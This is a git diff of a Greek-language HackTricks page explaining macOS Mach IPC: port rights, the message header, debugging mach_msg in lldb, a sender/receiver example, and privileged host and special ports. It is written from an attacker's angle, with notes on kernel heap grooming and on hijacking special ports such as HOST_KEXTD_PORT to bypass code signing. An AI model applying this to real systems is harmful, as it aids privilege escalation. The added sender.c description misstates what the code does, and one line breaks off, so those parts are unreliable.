* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Μηνύματα Mach μέσω Θυρών
|
||||
## Επικοινωνία Mach μέσω Θυρών
|
||||
|
||||
### Βασικές Πληροφορίες
|
||||
|
||||
|
@ -24,15 +24,15 @@
|
|||
|
||||
Μια **θύρα** είναι το **βασικό** στοιχείο του Mach IPC. Μπορεί να χρησιμοποιηθεί για να **στείλει μηνύματα και να τα λαμβάνει**.
|
||||
|
||||
Κάθε διεργασία έχει μια **πίνακα IPC**, όπου είναι δυνατό να βρεθούν οι **θύρες mach της διεργασίας**. Το όνομα μιας θύρας mach είναι πραγματικά ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).
|
||||
Κάθε διεργασία έχει μια **πίνακα IPC**, όπου είναι δυνατό να βρεθούν οι **θύρες mach της διεργασίας**. Το όνομα μιας θύρας mach είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).
|
||||
|
||||
Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα **σε μια διαφορετική εργασία** και το πυρήνας θα κάνει αυτήν την εγγραφή στο **πίνακα IPC της άλλης εργασίας** να εμφανιστεί.
|
||||
Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα **σε μια διαφορετική εργασία** και το πυρήνας θα κάνει αυτήν την καταχώριση στο **πίνακα IPC της άλλης εργασίας** να εμφανιστεί.
|
||||
|
||||
### Δικαιώματα Θύρας
|
||||
|
||||
Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια εργασία, είναι καίριας σημασίας για αυτήν την επικοινωνία. Τα πιθανά **δικαιώματα θύρας** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Δικαίωμα Λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονός καταναλωτής), που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν υποδείξεις αρχείων στο άκρο ανάγνωσης ενός αγωγού).
|
||||
* **Δικαίωμα Λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονό παραλήπτη) που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν όλες τις περιγραφές αρχείων στο άκρο ανάγνωσης ενός αγωγού).
|
||||
* Μια **εργασία με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **ίδια εργασία έχει το Δικαίωμα Λήψης πάνω από τη θύρα της**.
|
||||
* Εάν ο κάτοχος του Δικαιώματος Λήψης **πεθάνει** ή το κλείσει, το **δικαίωμα αποστολής γίνεται άχρηστο (νεκρό όνομα)**.
|
||||
* **Δικαίωμα Αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.
|
||||
|
@ -41,9 +41,17 @@
|
|||
* **Δικαίωμα Αποστολής-Μία-Φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στη θύρα και στη συνέχεια εξαφανίζεται.
|
||||
* Αυτό το δικαίωμα **δεν** μπορεί να **κλωνοποιηθεί**, αλλά μπορεί να **μετακινηθεί**.
|
||||
* **Δικαίωμα Συνόλου Θυρών**, το οποίο υποδηλώνει ένα _σύνολο θυρών_ αντί για μια μεμονωμένη θύρα. Η αποσύνθεση ενός μηνύματος από ένα σύνολο θυρών αποσύρει ένα μήνυμα από μία από τις θύρες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν ταυτόχρονα σε πολλές θύρες, πολύ παρόμοια με το `select`/`poll`/`epoll`/`kqueue` στο Unix.
|
||||
* **Νεκρό Όνομα**, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας αντικαταστάτης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα μετατρέπονται σε νεκρά ονόματα.
|
||||
* **Νεκρό Όνομα**, το οποίο δεν είναι ένα πραγματικό δικαίωμα θύρας, αλλά απλώς ένας αντικαταστάτης. Όταν μια θύρα καταστραφεί, όλα τα υπάρχοντα δικαιώματα θύρας στη θύρα γίνονται νεκρά ονόματα.
|
||||
|
||||
**Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι μια εργασία μπορεί να διπλασιάσει το δικαίωμα και να το δώσει σε μια τρίτη εργασία**. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως **διακομιστής εκκίνησης**, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.
|
||||
**Οι εργασίες μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν**, έτσι μια εργασία μπορεί να διπλασιάσει το δικαίωμα και **να το δώσει σε μια τρίτη εργασία**. Αυτό, σε συνδυασμό με ένα ενδιάμεσο διεργασία γνωστό ως **διακομιστής εκκίνησης**, επιτρέπει αποτελεσματική επικοινωνία μεταξύ εργασιών.
|
||||
|
||||
### Θύρες Αρχείων
|
||||
|
||||
Οι θύρες αρχείων επιτρέπουν την ενθυλάκωση περιγραφέων αρχείων σε θύρες Mac (χρησιμοποιώντας δικαιώματα θύρας Mach). Είναι δυνατόν να δημιουργηθεί ένα `fileport` από έναν δεδομένο FD χρησιμοποιώντας το `fileport_makeport` και να δημιουργηθεί ένα FD από ένα fileport χρησιμοποιώντας το `fileport_makefd`.
|
||||
|
||||
### Καθιέρωση Επικοινωνίας
|
||||
|
||||
Όπως αναφέρθη
|
||||
### Ένα Μήνυμα Mach
|
||||
|
||||
[Βρείτε περισσότερες πληροφορίες εδώ](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
@ -64,12 +72,12 @@ mach_msg_id_t msgh_id;
|
|||
Το αρχικό πεδίο **`msgh_bits`** είναι ένα bitmap:
|
||||
|
||||
* Το πρώτο bit (πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι πολύπλοκο (περισσότερα παρακάτω)
|
||||
* Τα 3ο και 4ο bit χρησιμοποιούνται από τον πυρήνα
|
||||
* Τα 3ο και 4ο χρησιμοποιούνται από τον πυρήνα
|
||||
* Τα **5 λιγότερο σημαντικά bits του 2ου byte** μπορούν να χρησιμοποιηθούν για **voucher**: έναν άλλο τύπο θύρας για την αποστολή συνδυασμών κλειδιού/τιμής.
|
||||
* Τα **5 λιγότερο σημαντικά bits του 3ου byte** μπορούν να χρησιμοποιηθούν για **τοπική θύρα**
|
||||
* Τα **5 λιγότερο σημαντικά bits του 4ου byte** μπορούν να χρησιμοποιηθούν για **απομακρυσμένη θύρα**
|
||||
|
||||
Οι τύποι που μπορούν να καθοριστούν στο voucher, τις τοπικές και απομακρυσμένες θύρες είναι (από [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
Οι τύποι που μπορούν να καθοριστούν στο voucher, τις τοπικές και απομακρυσμένες θύρες είναι (από το [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
```c
|
||||
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
|
||||
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
|
||||
|
@ -82,12 +90,12 @@ mach_msg_id_t msgh_id;
|
|||
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
|
||||
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
|
||||
```
|
||||
Για παράδειγμα, το `MACH_MSG_TYPE_MAKE_SEND_ONCE` μπορεί να χρησιμοποιηθεί για να **υποδείξει** ότι ένα **δικαίωμα αποστολής μία φορά** θα πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα. Μπορεί επίσης να καθοριστεί το `MACH_PORT_NULL` για να αποτραπεί ο παραλήπτης να μπορεί να απαντήσει.
|
||||
Για παράδειγμα, το `MACH_MSG_TYPE_MAKE_SEND_ONCE` μπορεί να χρησιμοποιηθεί για να **υποδείξει** ότι ένα **δικαίωμα αποστολής μία φορά** θα πρέπει να προκύψει και να μεταφερθεί για αυτήν τη θύρα. Μπορεί επίσης να καθοριστεί `MACH_PORT_NULL` για να αποτραπεί ο παραλήπτης να μπορεί να απαντήσει.
|
||||
|
||||
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία** μια διεργασία μπορεί να καθορίσει μια **θύρα mach** στην κεφαλίδα μηνύματος mach που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα.
|
||||
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία** ένας διεργασία μπορεί να καθορίσει μια **θύρα mach** στην κεφαλίδα μηνύματος mach που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα.
|
||||
|
||||
{% hint style="success" %}
|
||||
Σημειώστε ότι αυτού του είδους η διπλής κατεύθυνσης επικοινωνία χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Ωστόσο, **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για τη δημιουργία διπλής κατεύθυνσης επικοινωνίας.
|
||||
Σημειώστε ότι αυτού του είδους η διπλής κατεύθυνσης επικοινωνία χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Ωστόσο, **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για τη δημιουργία της διπλής κατεύθυνσης επικοινωνίας.
|
||||
{% endhint %}
|
||||
|
||||
Τα άλλα πεδία της κεφαλίδας του μηνύματος είναι:
|
||||
|
@ -126,63 +134,26 @@ unsigned int pad3 : 24;
|
|||
mach_msg_descriptor_type_t type : 8;
|
||||
} mach_msg_type_descriptor_t;
|
||||
```
|
||||
Στα 32bits, όλες οι περιγραφές είναι 12B και ο τύπος της περιγραφής βρίσκεται στον 11ο. Στα 64 bits, τα μεγέθη ποικίλουν.
|
||||
### Mac Ports APIs
|
||||
|
||||
{% hint style="danger" %}
|
||||
Το πυρήνας θα αντιγράψει τις περιγραφές από μια εργασία σε μια άλλη, αλλά πρώτα **δημιουργεί ένα αντίγραφο στη μνήμη του πυρήνα**. Αυτή η τεχνική, γνωστή ως "Feng Shui", έχει καταχραστεί σε αρκετές εκμεταλλεύσεις για να κάνει τον **πυρήνα να αντιγράψει δεδομένα στη μνήμη του** κάνοντας ένα διεργασία να στείλει περιγραφές στον εαυτό της. Στη συνέχεια η διεργασία μπορεί να λάβει τα μηνύματα (ο πυρήνας θα τα απελευθερώσει).
|
||||
Σημειώστε ότι τα ports συσχετίζονται με το namespace του task, οπότε για να δημιουργήσετε ή να αναζητήσετε ένα port, το namespace του task επίσης ερευνάται (περισσότερα στο `mach/mach_port.h`):
|
||||
|
||||
Είναι επίσης δυνατόν να **στείλετε δικαιώματα θύρας σε μια ευάλωτη διεργασία**, και τα δικαιώματα θύρας θα εμφανιστούν απλώς στη διεργασία (ακόμα κι αν δεν τα χειρίζεται).
|
||||
{% endhint %}
|
||||
|
||||
### Προγραμματιστικά Πεδία Mac Ports
|
||||
|
||||
Σημειώστε ότι οι θύρες συσχετίζονται με το χώρο ονομάτων της εργασίας, έτσι για τη δημιουργία ή αναζήτηση μιας θύρας, επίσης ερευνάται το χώρο ονομάτων της εργασίας (περισσότερα στο `mach/mach_port.h`):
|
||||
|
||||
* **`mach_port_allocate` | `mach_port_construct`**: **Δημιουργία** μιας θύρας.
|
||||
* Το `mach_port_allocate` μπορεί επίσης να δημιουργήσει ένα **σύνολο θυρών**: δικαίωμα λήψης πάνω από μια ομάδα θυρών. Κάθε φορά που λαμβάνεται ένα μήνυμα, υποδεικνύεται η θύρα από όπου προήλθε.
|
||||
* `mach_port_allocate_name`: Αλλαγή του ονόματος της θύρας (προεπιλεγμένα 32bit ακέραιος)
|
||||
* `mach_port_names`: Λήψη ονομάτων θύρας από έναν στόχο
|
||||
* `mach_port_type`: Λήψη δικαιωμάτων μιας εργασίας πάνω σε ένα όνομα
|
||||
* `mach_port_rename`: Μετονομασία μιας θύρας (όπως το `dup2` για τα FDs)
|
||||
* `mach_port_allocate`: Εκχώρηση μιας νέας ΛΗΨΗΣ, ΣΥΝΟΛΟΥ_ΘΥΡΩΝ ή DEAD_NAME
|
||||
* `mach_port_insert_right`: Δημιουργία νέου δικαιώματος σε μια θύρα όπου έχετε ΛΗΨΗ
|
||||
* `mach_port_...`
|
||||
* **`mach_msg`** | **`mach_msg_overwrite`**: Συναρτήσεις που χρησιμοποιούνται για το **στέλνει και λαμβάνει μηνύματα mach**. Η έκδοση overwrite επιτρέπει την καθορισμό διαφορετικού buffer για τη λήψη μηνύματος (η άλλη έκδοση θα το επαναχρησιμοποιήσει).
|
||||
- **`mach_port_allocate` | `mach_port_construct`**: **Δημιουργία** ενός port.
|
||||
- Το `mach_port_allocate` μπορεί επίσης να δημιουργήσει ένα **port set**: δικαίωμα λήψης πάνω από μια ομάδα ports. Κάθε φορά που λαμβάνεται ένα μήνυμα, υποδεικνύεται το port από όπου προήλθε.
|
||||
- `mach_port_allocate_name`: Αλλαγή του ονόματος του port (προεπιλεγμένα 32bit ακέραιος)
|
||||
- `mach_port_names`: Λήψη ονομάτων port από έναν στόχο
|
||||
- `mach_port_type`: Λήψη δικαιωμάτων ενός task πάνω σε ένα όνομα
|
||||
- `mach_port_rename`: Μετονομασία ενός port (όπως το `dup2` για τα FDs)
|
||||
- `mach_port_allocate`: Εκχώρηση ενός νέου RECEIVE, PORT\_SET ή DEAD\_NAME
|
||||
- `mach_port_insert_right`: Δημιουργία ενός νέου δικαιώματος σε ένα port όπου έχετε RECEIVE
|
||||
- `mach_port_...`
|
||||
- **`mach_msg`** | **`mach_msg_overwrite`**: Συναρτήσεις που χρησιμοποιούνται για την **αποστολή και λήψη μηνυμάτων mach**. Η έκδοση overwrite επιτρέπει την καθορισμό διαφορετικού buffer για τη λήψη μηνύματος (η άλλη έκδοση θα το επαναχρησιμοποιήσει).
|
||||
|
||||
### Debug mach\_msg
|
||||
|
||||
Καθώς οι συναρτήσεις **`mach_msg`** και **`mach_msg_overwrite`** είναι αυτές που χρησιμοποιούνται για την αποστολή και λήψη μηνυμάτων, η ορισμός ενός σημείου αναστολής σε αυτές θα επιτρέψει την επιθεώρηση των απεσταλμένων και ληφθέντων μηνυμάτων.
|
||||
Καθώς οι συναρτήσεις **`mach_msg`** και **`mach_msg_overwrite`** είναι αυτές που χρησιμοποιούνται για την αποστολή και λήψη μηνυμάτων, η ορισμός ενός σημείου αναμονής σε αυτές θα επιτρέψει την επιθεώρηση των απεσταλμένων και ληφθέντων μηνυμάτων.
|
||||
|
||||
Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής που μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει το **`libSystem.B` που θα χρησιμοποιήσει αυτή τη λειτουργία**.
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
|
||||
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
|
||||
<strong>(lldb) r
|
||||
</strong>Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
|
||||
Process 71019 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
libsystem_kernel.dylib`mach_msg:
|
||||
-> 0x181d3ac20 <+0>: pacibsp
|
||||
0x181d3ac24 <+4>: sub sp, sp, #0x20
|
||||
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
|
||||
0x181d3ac2c <+12>: add x29, sp, #0x10
|
||||
Target 0: (SandboxedShellApp) stopped.
|
||||
<strong>(lldb) bt
|
||||
</strong>* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
|
||||
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
|
||||
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
|
||||
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
|
||||
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
|
||||
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
|
||||
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
|
||||
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
|
||||
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
|
||||
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
|
||||
</code></pre>
|
||||
|
||||
Για να λάβετε τα ορίσματα της **`mach_msg`** ελέγξτε τους καταχωρητές. Αυτά είναι τα ορίσματα (από [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
|
||||
Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής που μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει το **`libSystem.B` που θα χρησιμοποιήσει αυτή τη συνάρτηση**.
|
||||
```c
|
||||
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
|
||||
extern mach_msg_return_t mach_msg(
|
||||
|
@ -246,8 +217,8 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
|||
+ send -------- --- 1 <- 0x00002603 (74295) passd
|
||||
[...]
|
||||
```
|
||||
Το **όνομα** είναι το προεπιλεγμένο όνομα που δίνεται στη θύρα (ελέγξτε πώς **αυξάνεται** στα πρώτα 3 bytes). Το **`ipc-object`** είναι το **κρυπτογραφημένο** μοναδικό **αναγνωριστικό** της θύρας.\
|
||||
Σημειώστε επίσης πώς οι θύρες με μόνο δικαίωμα **`send`** αναγνωρίζουν τον **κάτοχό** τους (όνομα θύρας + pid).\
|
||||
Το **όνομα** είναι το προεπιλεγμένο όνομα που δίνεται στη θύρα (ελέγξτε πώς **αυξάνεται** στα πρώτα 3 bytes). Το **`ipc-object`** είναι ο **κρυπτογραφημένος** μοναδικός **αναγνωριστικό** της θύρας.\
|
||||
Σημειώστε επίσης πώς οι θύρες με μόνο δικαίωμα **`send`** αναγνωρίζουν τον ιδιοκτήτη τους (όνομα θύρας + pid).\
|
||||
Επίσης, σημειώστε τη χρήση του **`+`** για να υποδείξετε **άλλες εργασίες που συνδέονται με την ίδια θύρα**.
|
||||
|
||||
Είναι επίσης δυνατόν να χρησιμοποιήσετε το [**procesxp**](https://www.newosxbook.com/tools/procexp.html) για να δείτε επίσης τα **ονόματα των εγγεγραμμένων υπηρεσιών** (με το SIP απενεργοποιημένο λόγω της ανάγκης του `com.apple.system-task-port`):
|
||||
|
@ -329,12 +300,24 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}
|
||||
{% tab title="sender.c" %}
|
||||
## Αποστολέας.c
|
||||
|
||||
Ο κώδικας στο αρχείο `sender.c` χρησιμοποιείται για να δημιουργήσει έναν αποστολέα δεδομένων IPC στο macOS. Ο αποστολέας αυτός είναι υπεύθυνος για την αποστολή δεδομένων σε μια άλλη διεργασία μέσω IPC.
|
||||
Αυτό το πρόγραμμα δημιουργεί έναν αποστολέα που δημιουργεί έναν πίνακα με δεδομένα και τα στέλνει σε μια ουρά μηνυμάτων IPC.
|
||||
|
||||
Αυτός ο κώδικας μπορεί να χρησιμοποιηθεί για να κατανοήσετε πώς λειτουργεί η διαδικασία ανάμεσα σε διαφορετικές διεργασίες στο macOS και πώς μπορεί να γίνει κατάχρηση της διαδικασίας αυτής για προνομιακή ενίσχυση.
|
||||
Για να το χρησιμοποιήσετε, μπορείτε να το μεταγλωτίσετε με την εντολή:
|
||||
|
||||
```bash
|
||||
gcc sender.c -o sender
|
||||
```
|
||||
|
||||
Και μετά να το εκτελέσετε με:
|
||||
|
||||
```bash
|
||||
./sender
|
||||
```
|
||||
|
||||
Το πρόγραμμα θα δημιουργήσει έναν πίνακα με δεδομένα, θα τα στείλει στην ουρά μηνυμάτων IPC και θα εκτυπώσει ένα μήνυμα επιβεβαίωσης.
|
||||
{% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
|
@ -392,73 +375,107 @@ printf("Sent a message\n");
|
|||
|
||||
## Προνομιούχες Θύρες
|
||||
|
||||
Υπάρχουν μερικές ειδικές θύρες που επιτρέπουν την **εκτέλεση συγκεκριμένων ευαίσθητων ενεργειών ή την πρόσβαση σε συγκεκριμένα ευαίσθητα δεδομένα** στην περίπτωση που μια εργασία έχει τα δικαιώματα **SEND** πάνω σε αυτές. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την άποψη των επιτιθέμενων όχι μόνο λόγω των δυνατοτήτων αλλά και επειδή είναι δυνατόν να **μοιραστούν τα δικαιώματα SEND μεταξύ εργασιών**.
|
||||
Υπάρχουν μερικές ειδικές θύρες που επιτρέπουν την **εκτέλεση συγκεκριμένων ευαίσθητων ενεργειών ή την πρόσβαση σε συγκεκριμένα ευαίσθητα δεδομένα** στην περίπτωση που μια εργασία έχει τις άδειες **SEND** πάνω σε αυτές. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την άποψη των επιτιθέμενων όχι μόνο λόγω των δυνατοτήτων αλλά και επειδή είναι δυνατόν να **μοιραστούν οι άδειες SEND μεταξύ εργασιών**.
|
||||
|
||||
### Ειδικές Θύρες Οικοδεσπότη
|
||||
|
||||
Αυτές οι θύρες εκφράζονται με έναν αριθμό.
|
||||
|
||||
Τα δικαιώματα **SEND** μπορούν να αποκτηθούν καλώντας τη συνάρτηση **`host_get_special_port`** και τα δικαιώματα **RECEIVE** καλώντας τη συνάρτηση **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν τη θύρα **`host_priv`** στην οποία μόνο ο ριζικός χρήστης μπορεί να έχει πρόσβαση. Επιπλέον, στο παρελθόν ο ριζικός χρήστης μπορούσε να καλέσει τη συνάρτηση **`host_set_special_port`** και να αρπάξει τυχαίες που επέτρεπαν, για παράδειγμα, την παράκαμψη των υπογραφών κώδικα με την αρπαγή της `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει).
|
||||
Τα δικαιώματα **SEND** μπορούν να αποκτηθούν καλώντας την **`host_get_special_port`** και τα δικαιώματα **RECEIVE** καλώντας την **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν τη θύρα **`host_priv`** την οποία μόνο ο ριζικός χρήστης μπορεί να έχει πρόσβαση. Επιπλέον, στο παρελθόν ο ριζικός χρήστης μπορούσε να καλέσει την **`host_set_special_port`** και να αρπάξει τυχαίες που επέτρεπαν για παράδειγμα την παράκαμψη των υπογραφών κώδικα με την αρπαγή της `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει).
|
||||
|
||||
Αυτές διαιρούνται σε 2 ομάδες: Οι **πρώτες 7 θύρες ανήκουν στον πυρήνα** με την 1 να είναι η `HOST_PORT`, η 2 η `HOST_PRIV_PORT`, η 3 η `HOST_IO_MASTER_PORT` και η 7 η `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
Αυτές που ξεκινούν **από** τον αριθμό **8** ανήκουν **σε δαίμονες του συστήματος** και μπορούν να βρεθούν δηλωμένες στο αρχείο [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html).
|
||||
Αυτές που ξεκινούν **από** τον αριθμό **8** ανήκουν σε **συστημικούς δαίμονες** και μπορούν να βρεθούν δηλωμένες στο [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html).
|
||||
|
||||
* **Θύρα Οικοδεσπότη**: Αν ένας διεργασία έχει **προνόμια SEND** πάνω σε αυτήν τη θύρα, μπορεί να λάβει **πληροφορίες** για το **σύστημα** καλώντας τις ρουτίνες της όπως:
|
||||
* **Θύρα Οικοδεσπότη**: Αν ένας διεργασία έχει **προνόμια SEND** πάνω σε αυτή τη θύρα, μπορεί να λάβει **πληροφορίες** για το **σύστημα** καλώντας τις ρουτίνες της όπως:
|
||||
* `host_processor_info`: Λήψη πληροφοριών επεξεργαστή
|
||||
* `host_info`: Λήψη πληροφοριών οικοδεσπότη
|
||||
* `host_virtual_physical_table_info`: Πληροφορίες εικονικού/φυσικού πίνακα σελίδων (απαιτεί MACH\_VMDEBUG)
|
||||
* `host_statistics`: Λήψη στατιστικών οικοδεσπότη
|
||||
* `mach_memory_info`: Λήψη διάταξης μνήμης πυρήνα
|
||||
* **Προνομιούχα Θύρα Οικοδεσπότη**: Μια διεργασία με δικαίωμα **SEND** πάνω σε αυτήν τη θύρα μπορεί να εκτελέσει **προνομιούχες ενέργειες** όπως εμφάνιση δεδομένων εκκίνησης ή προσπάθεια φόρτωσης επέκτασης πυρήνα. Η **διεργασία πρέπει να είναι ριζικός χρήστης** για να λάβει αυτήν την άδεια.
|
||||
* **Προνομιούχα Θύρα Οικοδεσπότη**: Μια διεργασία με δικαίωμα **SEND** πάνω σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιούχες ενέργειες** όπως εμφάνιση δεδομένων εκκίνησης ή προσπάθεια φόρτωσης επέκτασης πυρήνα. Η **διεργασία πρέπει να είναι ριζικός χρήστης** για να λάβει αυτή την άδεια.
|
||||
* Επιπλέον, για να καλέσει το API **`kext_request`** απαιτούνται άλλα δικαιώματα **`com.apple.private.kext*`** τα οποία δίνονται μόνο σε δυαδικά αρχεία της Apple.
|
||||
* Άλλες ρουτίνες που μπορούν να κληθούν είναι:
|
||||
* `host_get_boot_info`: Λήψη `machine_boot_info()`
|
||||
* `host_priv_statistics`: Λήψη προνομιούχων στατιστικών
|
||||
* `vm_allocate_cpm`: Δέσμευση συνεχούς φυσικής μνήμης
|
||||
* `host_processors`: Αποστολή δικαιωμάτων σε επεξεργαστές οικοδεσπότη
|
||||
* `host_processors`: Δικαίωμα αποστολής σε επεξεργαστές οικοδεσπότη
|
||||
* `mach_vm_wire`: Κάνει τη μνήμη μόνιμη
|
||||
* Καθώς ο **ριζικός χρήστης** μπορεί να έχει πρόσβαση σε αυτήν την άδεια, θα μπορούσε να καλέσει `host_set_[special/exception]_port[s]` για να **αρπάξει ειδικές ή εξαιρετικές θύρες οικοδεσπότη**.
|
||||
* Καθώς ο **ριζικός χρήστης** μπορεί να έχει πρόσβαση σε αυτή την άδεια, θα μπορούσε να καλέσει `host_set_[special/exception]_port[s]` για να **αρπάξει ειδικές ή εξαιρετικές θύρες οικοδεσπότη**.
|
||||
|
||||
Είναι δυνατόν να **δείτε όλες τις ειδικές θύρες οικοδεσπότη** εκτελώντας:
|
||||
```bash
|
||||
procexp all ports | grep "HSP"
|
||||
```
|
||||
### Ειδικές Θύρες Εργασίας
|
||||
|
||||
